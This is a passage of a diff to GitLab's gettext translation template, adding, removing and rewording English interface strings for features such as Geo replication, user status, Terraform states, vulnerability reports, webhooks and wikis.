msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
